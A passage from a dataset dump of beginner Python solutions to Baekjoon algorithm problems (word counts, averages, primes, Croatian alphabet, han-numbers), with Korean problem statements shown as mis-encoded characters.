œํ•œ\n# 1 โ‰ค k, n โ‰ค 14\n\n# ์˜ˆ์ œ ์ž…๋ ฅ \n# 2\n# 1\n# 3\n# 2\n# 3\n# ์˜ˆ์ œ ์ถœ๋ ฅ\n# 6\n# 10\n\nT = int(input())\n\nfor i in range(T):\n k = int(input()) # ์ธต \n n = int(input()) # ํ˜ธ \n room = [j for j in range(1, n+1)] # j = 1ํ˜ธ ~ nํ˜ธ ๊นŒ์ง€ ๋ฆฌ์ŠคํŠธ ๋งŒ๋“ค๊ธฐ\n\n for h in range(k): # h = 0์ธต๋ถ€ํ„ฐ k-1์ธต ๊นŒ์ง€\n for w in range(1,n): # w = 1ํ˜ธ ๋ถ€ํ„ฐ n-1ํ˜ธ๊นŒ์ง€ \n room[w] = room[w] + room[w-1] #๋ฆฌ์ŠคํŠธ ๋ฎ์–ด์“ฐ๊ธฐ \n\n print(room[-1])\n\n" }, { "alpha_fraction": 0.6442785859107971, "alphanum_fraction": 0.6616915464401245, "avg_line_length": 19.149999618530273, "blob_id": "35966b61418db361859f0d966074d84f63d7df3a", "content_id": "ceedd5cdd426e570b0fbba5e34c06f9870e4da26", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 846, "license_type": "no_license", "max_line_length": 73, "num_lines": 20, "path": "/str/test_1152_str.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "# ๋ฌธ์ œ\n# ์˜์–ด ๋Œ€์†Œ๋ฌธ์ž์™€ ๋„์–ด์“ฐ๊ธฐ๋งŒ์œผ๋กœ ์ด๋ฃจ์–ด์ง„ ๋ฌธ์ž์—ด์ด ์ฃผ์–ด์ง„๋‹ค. ์ด ๋ฌธ์ž์—ด์—๋Š” ๋ช‡ ๊ฐœ์˜ ๋‹จ์–ด๊ฐ€ ์žˆ์„๊นŒ? \n# ์ด๋ฅผ ๊ตฌํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์ž‘์„ฑํ•˜์‹œ์˜ค. ๋‹จ, ํ•œ ๋‹จ์–ด๊ฐ€ ์—ฌ๋Ÿฌ ๋ฒˆ ๋“ฑ์žฅํ•˜๋ฉด ๋“ฑ์žฅํ•œ ํšŸ์ˆ˜๋งŒํผ ๋ชจ๋‘ ์„ธ์–ด์•ผ ํ•œ๋‹ค.\n\n# ์ž…๋ ฅ\n# ์ฒซ ์ค„์— ์˜์–ด ๋Œ€์†Œ๋ฌธ์ž์™€ ๋„์–ด์“ฐ๊ธฐ๋กœ ์ด๋ฃจ์–ด์ง„ ๋ฌธ์ž์—ด์ด ์ฃผ์–ด์ง„๋‹ค. \n# ์ด ๋ฌธ์ž์—ด์˜ ๊ธธ์ด๋Š” 1,000,000์„ ๋„˜์ง€ ์•Š๋Š”๋‹ค. ๋‹จ์–ด๋Š” ๋„์–ด์“ฐ๊ธฐ ํ•œ ๊ฐœ๋กœ ๊ตฌ๋ถ„๋˜๋ฉฐ, ๊ณต๋ฐฑ์ด ์—ฐ์†ํ•ด์„œ ๋‚˜์˜ค๋Š” ๊ฒฝ์šฐ๋Š” ์—†๋‹ค. \n# ๋˜ํ•œ ๋ฌธ์ž์—ด์˜ ์•ž๊ณผ ๋’ค์—๋Š” ๊ณต๋ฐฑ์ด ์žˆ์„ ์ˆ˜๋„ ์žˆ๋‹ค.\n\n# ์ถœ๋ ฅ\n# ์ฒซ์งธ ์ค„์— ๋‹จ์–ด์˜ ๊ฐœ์ˆ˜๋ฅผ ์ถœ๋ ฅํ•œ๋‹ค.\n\n#๋ฌธ์ž์—ด.split()ํ•ด์ฃผ๋ฉด ๋„์–ด์“ฐ๊ธฐ๋ฅผ ๊ธฐ์ค€์œผ๋กœ ๋‚˜๋ˆ„์–ด์„œ ๋‹จ์–ด๋ณ„๋กœ ๋ฆฌ์ŠคํŠธ ๋งŒ๋“ค์–ด์คŒ\n\n\n\nstring = input()\n\na = string.split()\nprint(len(a))" }, { "alpha_fraction": 0.5121951103210449, "alphanum_fraction": 0.5665188431739807, "avg_line_length": 17.8125, "blob_id": "12ecb5314d208bab62e795519521cd1c38d0107c", "content_id": "3f30c0a8341f60a28c2618d7ea508c8a18872efe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1450, "license_type": "no_license", "max_line_length": 74, "num_lines": 48, "path": "/arr/test_1546_arr.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "# ์„ธ์ค€์ด๋Š” ๊ธฐ๋ง๊ณ ์‚ฌ๋ฅผ ๋ง์ณค๋‹ค. ์„ธ์ค€์ด๋Š” ์ ์ˆ˜๋ฅผ ์กฐ์ž‘ํ•ด์„œ ์ง‘์— ๊ฐ€์ ธ๊ฐ€๊ธฐ๋กœ ํ–ˆ๋‹ค. ์ผ๋‹จ ์„ธ์ค€์ด๋Š” ์ž๊ธฐ ์ ์ˆ˜ ์ค‘์— ์ตœ๋Œ“๊ฐ’์„ ๊ณจ๋ž๋‹ค.\n# ์ด ๊ฐ’์„ M์ด๋ผ๊ณ  ํ•œ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ๋‚˜์„œ ๋ชจ๋“  ์ ์ˆ˜๋ฅผ ์ ์ˆ˜/M*100์œผ๋กœ ๊ณ ์ณค๋‹ค.\n\n# ์˜ˆ๋ฅผ ๋“ค์–ด, ์„ธ์ค€์ด์˜ ์ตœ๊ณ ์ ์ด 70์ด๊ณ , ์ˆ˜ํ•™์ ์ˆ˜๊ฐ€ 50์ด์—ˆ์œผ๋ฉด ์ˆ˜ํ•™์ ์ˆ˜๋Š” 50/70*100์ด ๋˜์–ด 71.43์ ์ด ๋œ๋‹ค.\n\n# ์„ธ์ค€์ด์˜ ์„ฑ์ ์„ ์œ„์˜ ๋ฐฉ๋ฒ•๋Œ€๋กœ ์ƒˆ๋กœ ๊ณ„์‚ฐํ–ˆ์„ ๋•Œ, ์ƒˆ๋กœ์šด ํ‰๊ท ์„ ๊ตฌํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์ž‘์„ฑํ•˜์‹œ์˜ค.\n\n# ์ž…๋ ฅ\n# ์ฒซ์งธ ์ค„์— ์‹œํ—˜ ๋ณธ ๊ณผ๋ชฉ์˜ ๊ฐœ์ˆ˜ N์ด ์ฃผ์–ด์ง„๋‹ค. ์ด ๊ฐ’์€ 1000๋ณด๋‹ค ์ž‘๊ฑฐ๋‚˜ ๊ฐ™๋‹ค. \n# ๋‘˜์งธ ์ค„์— ์„ธ์ค€์ด์˜ ํ˜„์žฌ ์„ฑ์ ์ด ์ฃผ์–ด์ง„๋‹ค. ์ด ๊ฐ’์€ 100๋ณด๋‹ค ์ž‘๊ฑฐ๋‚˜ ๊ฐ™์€ ์Œ์ด ์•„๋‹Œ ์ •์ˆ˜์ด๊ณ , ์ ์–ด๋„ ํ•˜๋‚˜์˜ ๊ฐ’์€ 0๋ณด๋‹ค ํฌ๋‹ค.\n\n# ์ถœ๋ ฅ\n# ์ฒซ์งธ ์ค„์— ์ƒˆ๋กœ์šด ํ‰๊ท ์„ ์ถœ๋ ฅํ•œ๋‹ค. ์‹ค์ œ ์ •๋‹ต๊ณผ ์ถœ๋ ฅ๊ฐ’์˜ ์ ˆ๋Œ€์˜ค์ฐจ ๋˜๋Š” ์ƒ๋Œ€์˜ค์ฐจ๊ฐ€ 10^-2 ์ดํ•˜์ด๋ฉด ์ •๋‹ต์ด๋‹ค\n\n# ์ž…๋ ฅ\n# 3\n# 40 80 60\n# ์ถœ๋ ฅ\n# 75.0\n\ndef set1():\n n_list= []\n new_score = []\n\n n = int(input())\n n_list = list(map(int, input().split()))\n\n for i in n_list:\n new_score.append((i/max(n_list))*100)\n \n print(sum(new_score)/n)\n\n\n\ndef set2():\n n = int(input())\n lst = []\n\n\n lst = list(map(int,input().split()))\n\n score = 0\n for i in lst:\n \n score += (i / max(lst) * 100)\n print(score / n)\n\nset1()" }, { "alpha_fraction": 0.5046728849411011, "alphanum_fraction": 0.586448609828949, "avg_line_length": 20.299999237060547, "blob_id": "4987bebe0b2182e6615b61e8e3a5ccf4e53c57a5", "content_id": "f1d6c9e3a73b5e0878e7bbfb80f4884d2776c0fa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 694, "license_type": "no_license", "max_line_length": 75, "num_lines": 20, "path": "/arr/test_10818_arr.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "# ๋ฐฐ์—ด, ์ตœ๋Œ€ ์ตœ์†Œ\n# N๊ฐœ์˜ ์ •์ˆ˜๊ฐ€ ์ฃผ์–ด์ง„๋‹ค. ์ด๋•Œ, ์ตœ์†Ÿ๊ฐ’๊ณผ ์ตœ๋Œ“๊ฐ’์„ ๊ตฌํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์ž‘์„ฑํ•˜์‹œ์˜ค.\n# ์ฒซ์งธ ์ค„์— ์ •์ˆ˜์˜ ๊ฐœ์ˆ˜ N (1 โ‰ค N โ‰ค 1,000,000)์ด ์ฃผ์–ด์ง„๋‹ค. ๋‘˜์งธ ์ค„์—๋Š” N๊ฐœ์˜ ์ •์ˆ˜๋ฅผ ๊ณต๋ฐฑ์œผ๋กœ ๊ตฌ๋ถ„ํ•ด์„œ ์ฃผ์–ด์ง„๋‹ค. \n# ๋ชจ๋“  ์ •์ˆ˜๋Š” -1,000,000๋ณด๋‹ค ํฌ๊ฑฐ๋‚˜ ๊ฐ™๊ณ , 1,000,000๋ณด๋‹ค ์ž‘๊ฑฐ๋‚˜ ๊ฐ™์€ ์ •์ˆ˜์ด๋‹ค.\n# ์ฒซ์งธ ์ค„์— ์ฃผ์–ด์ง„ ์ •์ˆ˜ N๊ฐœ์˜ ์ตœ์†Ÿ๊ฐ’๊ณผ ์ตœ๋Œ“๊ฐ’์„ ๊ณต๋ฐฑ์œผ๋กœ ๊ตฌ๋ถ„ํ•ด ์ถœ๋ ฅํ•œ๋‹ค.\n# ์ž…๋ ฅ\n# 5 \n# 20 10 35 30 7\n\n# ์ถœ๋ ฅ\n# 7 35\n\n\nn = int(input())\nn_list = list(map(int, input().split()))\n\nif len(n_list) > n:\n print(\"error\")\nelse:\n print(min(n_list),max(n_list))\n\n\n" }, { "alpha_fraction": 0.45102041959762573, "alphanum_fraction": 0.5571428537368774, "avg_line_length": 15.233333587646484, "blob_id": "4428c0ce7b04bb6b1bb89cba36324dcd902dac87", "content_id": "30b8c208e99f2332d37abec154832ad3ff7ff3d2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 826, "license_type": "no_license", "max_line_length": 90, "num_lines": 30, "path": "/test_3052_arr.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "# ๋‘ ์ž์—ฐ์ˆ˜ A์™€ B๊ฐ€ ์žˆ์„ ๋•Œ, A%B๋Š” A๋ฅผ B๋กœ ๋‚˜๋ˆˆ ๋‚˜๋จธ์ง€ ์ด๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, 7, 14, 27, 38์„ 3์œผ๋กœ ๋‚˜๋ˆˆ ๋‚˜๋จธ์ง€๋Š” 1, 2, 0, 2์ด๋‹ค. \n\n# ์ˆ˜ 10๊ฐœ๋ฅผ ์ž…๋ ฅ๋ฐ›์€ ๋’ค, ์ด๋ฅผ 42๋กœ ๋‚˜๋ˆˆ ๋‚˜๋จธ์ง€๋ฅผ ๊ตฌํ•œ๋‹ค. ๊ทธ ๋‹ค์Œ ์„œ๋กœ ๋‹ค๋ฅธ ๊ฐ’์ด ๋ช‡ ๊ฐœ ์žˆ๋Š”์ง€ ์ถœ๋ ฅํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์ž‘์„ฑํ•˜์‹œ์˜ค.\n\n# ์ฒซ์งธ ์ค„๋ถ€ํ„ฐ ์—ด๋ฒˆ์งธ ์ค„ ๊นŒ์ง€ ์ˆซ์ž๊ฐ€ ํ•œ ์ค„์— ํ•˜๋‚˜์”ฉ ์ฃผ์–ด์ง„๋‹ค. ์ด ์ˆซ์ž๋Š” 1,000๋ณด๋‹ค ์ž‘๊ฑฐ๋‚˜ ๊ฐ™๊ณ , ์Œ์ด ์•„๋‹Œ ์ •์ˆ˜์ด๋‹ค\n# ์ฒซ์งธ ์ค„์—, 42๋กœ ๋‚˜๋ˆ„์—ˆ์„ ๋•Œ, ์„œ๋กœ ๋‹ค๋ฅธ ๋‚˜๋จธ์ง€๊ฐ€ ๋ช‡ ๊ฐœ ์žˆ๋Š”์ง€ ์ถœ๋ ฅํ•œ๋‹ค.\n\n# ์ž…๋ ฅ\n# 1\n# 2\n# 3\n# 4\n# 5\n# 6\n# 7\n# 8\n# 9\n# 10\n\n# ์ถœ๋ ฅ\n# 10\n#๊ฐ ์ˆ˜๋ฅผ 42๋กœ ๋‚˜๋ˆˆ ๋‚˜๋จธ์ง€๋Š” 1, 2, 3, 4, 5, 6, 7, 8, 9, 10์ด๋‹ค. \n\n\nlst = []\nfor i in range(10):\n lst.append(int(input())%42)\n\nm = set(lst)\nprint(len(m))\n\n\n\n" }, { "alpha_fraction": 0.563766360282898, "alphanum_fraction": 0.5792610049247742, "avg_line_length": 16.82978630065918, "blob_id": "3a13f23b620e32aae9a1bfe94c7cf29fe872c76e", "content_id": "0cf5623dfc0a989bb59c2a62b3e47fb27eb6e6de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1550, "license_type": "no_license", "max_line_length": 106, "num_lines": 47, "path": "/str/test_2941_str.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "# ๋ฌธ์ œ\n# ์˜ˆ์ „์—๋Š” ์šด์˜์ฒด์ œ์—์„œ ํฌ๋กœ์•„ํ‹ฐ์•„ ์•ŒํŒŒ๋ฒณ์„ ์ž…๋ ฅํ•  ์ˆ˜๊ฐ€ ์—†์—ˆ๋‹ค. ๋”ฐ๋ผ์„œ, ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํฌ๋กœ์•„ํ‹ฐ์•„ ์•ŒํŒŒ๋ฒณ์„ ๋ณ€๊ฒฝํ•ด์„œ ์ž…๋ ฅํ–ˆ๋‹ค.\n\n# ํฌ๋กœ์•„ํ‹ฐ์•„ ์•ŒํŒŒ๋ฒณ\t๋ณ€๊ฒฝ\n# ฤ\tc=\n# ฤ‡\tc-\n# dลพ\tdz=\n# ฤ‘\td-\n# lj\tlj\n# nj\tnj\n# ลก\ts=\n# ลพ\tz=\n# ์˜ˆ๋ฅผ ๋“ค์–ด, ljes=njak์€ ํฌ๋กœ์•„ํ‹ฐ์•„ ์•ŒํŒŒ๋ฒณ 6๊ฐœ(lj, e, ลก, nj, a, k)๋กœ ์ด๋ฃจ์–ด์ ธ ์žˆ๋‹ค. ๋‹จ์–ด๊ฐ€ ์ฃผ์–ด์กŒ์„ ๋•Œ, ๋ช‡ ๊ฐœ์˜ ํฌ๋กœ์•„ํ‹ฐ์•„ ์•ŒํŒŒ๋ฒณ์œผ๋กœ ์ด๋ฃจ์–ด์ ธ ์žˆ๋Š”์ง€ ์ถœ๋ ฅํ•œ๋‹ค.\n\n# dลพ๋Š” ๋ฌด์กฐ๊ฑด ํ•˜๋‚˜์˜ ์•ŒํŒŒ๋ฒณ์œผ๋กœ ์“ฐ์ด๊ณ , d์™€ ลพ๊ฐ€ ๋ถ„๋ฆฌ๋œ ๊ฒƒ์œผ๋กœ ๋ณด์ง€ ์•Š๋Š”๋‹ค. lj์™€ nj๋„ ๋งˆ์ฐฌ๊ฐ€์ง€์ด๋‹ค. ์œ„ ๋ชฉ๋ก์— ์—†๋Š” ์•ŒํŒŒ๋ฒณ์€ ํ•œ ๊ธ€์ž์”ฉ ์„ผ๋‹ค.\n\n# ์ž…๋ ฅ\n# ์ฒซ์งธ ์ค„์— ์ตœ๋Œ€ 100๊ธ€์ž์˜ ๋‹จ์–ด๊ฐ€ ์ฃผ์–ด์ง„๋‹ค. ์•ŒํŒŒ๋ฒณ ์†Œ๋ฌธ์ž์™€ '-', '='๋กœ๋งŒ ์ด๋ฃจ์–ด์ ธ ์žˆ๋‹ค.\n\n# ๋‹จ์–ด๋Š” ํฌ๋กœ์•„ํ‹ฐ์•„ ์•ŒํŒŒ๋ฒณ์œผ๋กœ ์ด๋ฃจ์–ด์ ธ ์žˆ๋‹ค. ๋ฌธ์ œ ์„ค๋ช…์˜ ํ‘œ์— ๋‚˜์™€์žˆ๋Š” ์•ŒํŒŒ๋ฒณ์€ ๋ณ€๊ฒฝ๋œ ํ˜•ํƒœ๋กœ ์ž…๋ ฅ๋œ๋‹ค.\n\n# ์ถœ๋ ฅ\n# ์ž…๋ ฅ์œผ๋กœ ์ฃผ์–ด์ง„ ๋‹จ์–ด๊ฐ€ ๋ช‡ ๊ฐœ์˜ ํฌ๋กœ์•„ํ‹ฐ์•„ ์•ŒํŒŒ๋ฒณ์œผ๋กœ ์ด๋ฃจ์–ด์ ธ ์žˆ๋Š”์ง€ ์ถœ๋ ฅํ•œ๋‹ค.\n\n# ์˜ˆ์ œ ์ž…๋ ฅ 1 ๋ณต์‚ฌ\n# ljes=njak\n# ์˜ˆ์ œ ์ถœ๋ ฅ 1 ๋ณต์‚ฌ\n# 6\n# ์˜ˆ์ œ ์ž…๋ ฅ 2 ๋ณต์‚ฌ\n# ddz=z=\n# ์˜ˆ์ œ ์ถœ๋ ฅ 2 ๋ณต์‚ฌ\n# 3\n\n# 1.์˜์–ด ๋ฌธ์ž๋ฅผ ๋ฐ›์Œ\n# 2.๋ฆฌ์ŠคํŠธ์— ํฌ๋กœ์•„ํ‹ฐ์•„ ๋Œ€์ฒด ๋ฌธ์ž๋ฅผ ๋„ฃ์–ด๋‘ \n# 3.์˜์–ด ๋ฌธ์ž์ค‘์— ํฌ๋กœ์•„ํ‹ฐ์•„ ๋Œ€์ฒด๋ฌธ์ž๊ฐ€ ์žˆ์œผ๋ฉด ๊ต์ฒด\n\n\n\n\ncro = input()\n\nlst = [\"c=\", \"c-\", \"dz=\", \"d-\", \"lj\", \"nj\", \"s=\", \"z=\"]\nfor i in lst:\n if i in cro:\n cro = cro.replace(i,\" \")\nprint(len(cro))\n\n" }, { "alpha_fraction": 0.39863014221191406, "alphanum_fraction": 0.483561635017395, "avg_line_length": 15.133333206176758, "blob_id": "531dce1de1b50d2bb3004ba67942e14c2868556d", "content_id": "5c3f3977f8892130aa533a6753946a0deed4e88d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1114, "license_type": "no_license", "max_line_length": 70, "num_lines": 45, "path": "/test_1065_def.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "# ๋ฌธ์ œ\n# ์–ด๋–ค ์–‘์˜ ์ •์ˆ˜ X์˜ ๊ฐ ์ž๋ฆฌ๊ฐ€ ๋“ฑ์ฐจ์ˆ˜์—ด์„ ์ด๋ฃฌ๋‹ค๋ฉด, ๊ทธ ์ˆ˜๋ฅผ ํ•œ์ˆ˜๋ผ๊ณ  ํ•œ๋‹ค. \n# ๋“ฑ์ฐจ์ˆ˜์—ด์€ ์—ฐ์†๋œ ๋‘ ๊ฐœ์˜ ์ˆ˜์˜ ์ฐจ์ด๊ฐ€ ์ผ์ •ํ•œ ์ˆ˜์—ด์„ ๋งํ•œ๋‹ค. N์ด ์ฃผ์–ด์กŒ์„ ๋•Œ, 1๋ณด๋‹ค ํฌ๊ฑฐ๋‚˜ ๊ฐ™๊ณ , \n# N๋ณด๋‹ค ์ž‘๊ฑฐ๋‚˜ ๊ฐ™์€ ํ•œ์ˆ˜์˜ ๊ฐœ์ˆ˜๋ฅผ ์ถœ๋ ฅํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์ž‘์„ฑํ•˜์‹œ์˜ค. \n\n# ์ž…๋ ฅ\n# ์ฒซ์งธ ์ค„์— 1,000๋ณด๋‹ค ์ž‘๊ฑฐ๋‚˜ ๊ฐ™์€ ์ž์—ฐ์ˆ˜ N์ด ์ฃผ์–ด์ง„๋‹ค.\n\n# ์ถœ๋ ฅ\n# ์ฒซ์งธ ์ค„์— 1๋ณด๋‹ค ํฌ๊ฑฐ๋‚˜ ๊ฐ™๊ณ , N๋ณด๋‹ค ์ž‘๊ฑฐ๋‚˜ ๊ฐ™์€ ํ•œ์ˆ˜์˜ ๊ฐœ์ˆ˜๋ฅผ ์ถœ๋ ฅํ•œ๋‹ค.\n\n# ์˜ˆ์ œ ์ž…๋ ฅ 1 ๋ณต์‚ฌ\n# 110\n# ์˜ˆ์ œ ์ถœ๋ ฅ 1 ๋ณต์‚ฌ\n# 99\n\n# ์˜ˆ์ œ ์ž…๋ ฅ 2 ๋ณต์‚ฌ\n# 1\n# ์˜ˆ์ œ ์ถœ๋ ฅ 2 ๋ณต์‚ฌ\n# 1\n\n# ์˜ˆ์ œ ์ž…๋ ฅ 3 ๋ณต์‚ฌ\n# 210\n# ์˜ˆ์ œ ์ถœ๋ ฅ 3 ๋ณต์‚ฌ\n# 105\n\n\n#1~99๊นŒ์ง€๋Š” ๋‹ค ํ•œ์ˆ˜\n#100 ๋ถ€ํ„ฐ๋Š” 111, 123, 135, 147, 159 ... [0] - [1] = [1] - [2]\n\nn = int(input())\n\ndef hansoo(n):\n s = 0\n num = []\n for i in range(1,n+1):\n if i < 100:\n s += 1\n else:\n num = list(str(i))\n if int(num[0]) - int(num[1]) == int(num[1]) - int(num[2]):\n s +=1\n print(s)\n\nhansoo(n)\n\n\n\n\n" }, { "alpha_fraction": 0.4788273572921753, "alphanum_fraction": 0.5228012800216675, "avg_line_length": 13.619047164916992, "blob_id": "33cc4b30d6e22bbd31698b964e06e41b0f85b513", "content_id": "3c747e162fd0e162340abd8324d727b76d31d7e3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 978, "license_type": "no_license", "max_line_length": 71, "num_lines": 42, "path": "/test_1978_math2.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "# ๋ฌธ์ œ\n# ์ฃผ์–ด์ง„ ์ˆ˜ N๊ฐœ ์ค‘์—์„œ ์†Œ์ˆ˜๊ฐ€ ๋ช‡ ๊ฐœ์ธ์ง€ ์ฐพ์•„์„œ ์ถœ๋ ฅํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์ž‘์„ฑํ•˜์‹œ์˜ค.\n\n# ์ž…๋ ฅ\n# ์ฒซ ์ค„์— ์ˆ˜์˜ ๊ฐœ์ˆ˜ N์ด ์ฃผ์–ด์ง„๋‹ค. N์€ 100์ดํ•˜์ด๋‹ค. ๋‹ค์Œ์œผ๋กœ N๊ฐœ์˜ ์ˆ˜๊ฐ€ ์ฃผ์–ด์ง€๋Š”๋ฐ ์ˆ˜๋Š” 1,000 ์ดํ•˜์˜ ์ž์—ฐ์ˆ˜์ด๋‹ค.\n\n# ์ถœ๋ ฅ\n# ์ฃผ์–ด์ง„ ์ˆ˜๋“ค ์ค‘ ์†Œ์ˆ˜์˜ ๊ฐœ์ˆ˜๋ฅผ ์ถœ๋ ฅํ•œ๋‹ค.\n\n# ์˜ˆ์ œ ์ž…๋ ฅ \n# 4\n# 1 3 5 7\n\n# ์˜ˆ์ œ ์ถœ๋ ฅ \n# 3\n\n\na = int(input())\nnum = list(map(int,input().split()))\nprime_cnt = 0\n\nfor i in num:\n cnt = 0\n if i == 1:\n continue\n for j in range(2, i+1):\n if (i%j == 0):\n cnt += 1 \n if cnt == 1:\n prime_cnt += 1\n \nprint(prime_cnt)\n\n\n\n# 1. ์ˆซ์ž ๋ฆฌ์ŠคํŠธ๋กœ ๋ฐ›๊ธฐ\n# 2. ์†Œ์ˆ˜ ์นด์šดํ„ฐ ๋งŒ๋“ค๊ธฐ\n# 3. ์†Œ์ˆ˜ ํŒ๋ณ„ํ•˜๊ธฐ\n# 1 ์€ ์†Œ์ˆ˜๊ฐ€ ์•„๋‹ˆ๋ฏ€๋กœ ์ปจํ‹ฐ๋‰ด\n# ๋‚ด๋ถ€์— ์นด์šดํ„ฐ \n# ์†Œ์ˆ˜๋Š” ์ž๊ธฐ์ž์‹ ์œผ๋กœ ๋‚˜๋‰˜์–ด์•ผ ํ•˜๋‹ˆ๊นŒ ๋‚˜๋ˆ„์–ด์„œ ๋‚˜๋จธ์ง€ ์—†๋Š”๊ฒŒ 1๊ฐœ์ด๋ฉด ์†Œ์ˆ˜\n# ์†Œ์ˆ˜ ์นด์šดํ„ฐ์— ๋”ํ•ด์ฃผ๊ธฐ " }, { "alpha_fraction": 0.5195586681365967, "alphanum_fraction": 0.5496489405632019, "avg_line_length": 25.945945739746094, "blob_id": "abbcfc12df64ea21592630b45d3563e88a365d18", "content_id": "00827cdda1e074f1e8ebfd97fbce567972bb1e59", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1795, "license_type": "no_license", "max_line_length": 72, "num_lines": 37, "path": "/math1/test_1011_math.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "# ์ด์ „ ์ž‘๋™์‹œ๊ธฐ์— k๊ด‘๋…„์„ ์ด๋™ํ•˜์˜€์„ ๋•Œ๋Š” k-1 , k ํ˜น์€ k+1 ๊ด‘๋…„๋งŒ์„ ๋‹ค์‹œ ์ด๋™ํ•  ์ˆ˜ ์žˆ๋‹ค. \n# ์˜ˆ๋ฅผ ๋“ค์–ด, ์ด ์žฅ์น˜๋ฅผ ์ฒ˜์Œ ์ž‘๋™์‹œํ‚ฌ ๊ฒฝ์šฐ -1 , 0 , 1 ๊ด‘๋…„์„ ์ด๋ก ์ƒ ์ด๋™ํ•  ์ˆ˜ ์žˆ์œผ๋‚˜ \n# ์‚ฌ์‹ค์ƒ ์Œ์ˆ˜ ํ˜น์€ 0 ๊ฑฐ๋ฆฌ๋งŒํผ์˜ ์ด๋™์€ ์˜๋ฏธ๊ฐ€ ์—†์œผ๋ฏ€๋กœ 1 ๊ด‘๋…„์„ ์ด๋™ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, \n# ๊ทธ ๋‹ค์Œ์—๋Š” 0 , 1 , 2 ๊ด‘๋…„์„ ์ด๋™ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์ด๋‹ค. \n# ( ์—ฌ๊ธฐ์„œ ๋‹ค์‹œ 2๊ด‘๋…„์„ ์ด๋™ํ•œ๋‹ค๋ฉด ๋‹ค์Œ ์‹œ๊ธฐ์—” 1, 2, 3 ๊ด‘๋…„์„ ์ด๋™ํ•  ์ˆ˜ ์žˆ๋‹ค. )\n\n\n\n# x์ง€์ ์—์„œ y์ง€์ ์„ ํ–ฅํ•ด ์ตœ์†Œํ•œ์˜ ์ž‘๋™ ํšŸ์ˆ˜๋กœ ์ด๋™ํ•˜๋ ค ํ•œ๋‹ค. \n# ํ•˜์ง€๋งŒ y์ง€์ ์— ๋„์ฐฉํ•ด์„œ๋„ ๊ณต๊ฐ„ ์ด๋™์žฅ์น˜์˜ ์•ˆ์ „์„ฑ์„ ์œ„ํ•˜์—ฌ \n# y์ง€์ ์— ๋„์ฐฉํ•˜๊ธฐ ๋ฐ”๋กœ ์ง์ „์˜ ์ด๋™๊ฑฐ๋ฆฌ๋Š” ๋ฐ˜๋“œ์‹œ 1๊ด‘๋…„์œผ๋กœ ํ•˜๋ ค ํ•œ๋‹ค.\n\n# ๊น€์šฐํ˜„์„ ์œ„ํ•ด x์ง€์ ๋ถ€ํ„ฐ ์ •ํ™•ํžˆ y์ง€์ ์œผ๋กœ ์ด๋™ํ•˜๋Š”๋ฐ ํ•„์š”ํ•œ ๊ณต๊ฐ„ ์ด๋™ ์žฅ์น˜ ์ž‘๋™ ํšŸ์ˆ˜์˜ ์ตœ์†Ÿ๊ฐ’์„ ๊ตฌํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์ž‘์„ฑํ•˜๋ผ.\n\n# ์ž…๋ ฅ\n# ์ž…๋ ฅ์˜ ์ฒซ ์ค„์—๋Š” ํ…Œ์ŠคํŠธ์ผ€์ด์Šค์˜ ๊ฐœ์ˆ˜ T๊ฐ€ ์ฃผ์–ด์ง„๋‹ค.\n# ๊ฐ๊ฐ์˜ ํ…Œ์ŠคํŠธ ์ผ€์ด์Šค์— ๋Œ€ํ•ด ํ˜„์žฌ ์œ„์น˜ x ์™€ ๋ชฉํ‘œ ์œ„์น˜ y ๊ฐ€ ์ •์ˆ˜๋กœ ์ฃผ์–ด์ง€๋ฉฐ, \n# x๋Š” ํ•ญ์ƒ y๋ณด๋‹ค ์ž‘์€ ๊ฐ’์„ ๊ฐ–๋Š”๋‹ค. (0 โ‰ค x < y < 231)\n\n# ์ถœ๋ ฅ\n# ๊ฐ ํ…Œ์ŠคํŠธ ์ผ€์ด์Šค์— ๋Œ€ํ•ด x์ง€์ ์œผ๋กœ๋ถ€ํ„ฐ y์ง€์ ๊นŒ์ง€ ์ •ํ™•ํžˆ ๋„๋‹ฌํ•˜๋Š”๋ฐ ํ•„์š”ํ•œ ์ตœ์†Œํ•œ์˜ ๊ณต๊ฐ„์ด๋™ ์žฅ์น˜ ์ž‘๋™ ํšŸ์ˆ˜๋ฅผ ์ถœ๋ ฅํ•œ๋‹ค.\n\n\nn = int(input())\nfor i in range(n):\n x,y = map(int,input().split())\n t = y - x #๊ฑฐ๋ฆฌ\n k = int(t**0.5) #๊ฑฐ๋ฆฌ ์ œ๊ณฑ๊ทผ ๊ตฌํ•˜๊ธฐ\n cnt = 0 #์ž‘๋™ํšŸ์ˆ˜ ์นด์šดํ„ฐ\n\n if t == k*k:\n cnt = 2*k-1\n elif t > k*k and t <= k*(k+1):\n cnt = 2*k\n elif t > k*(k+1) and t <= 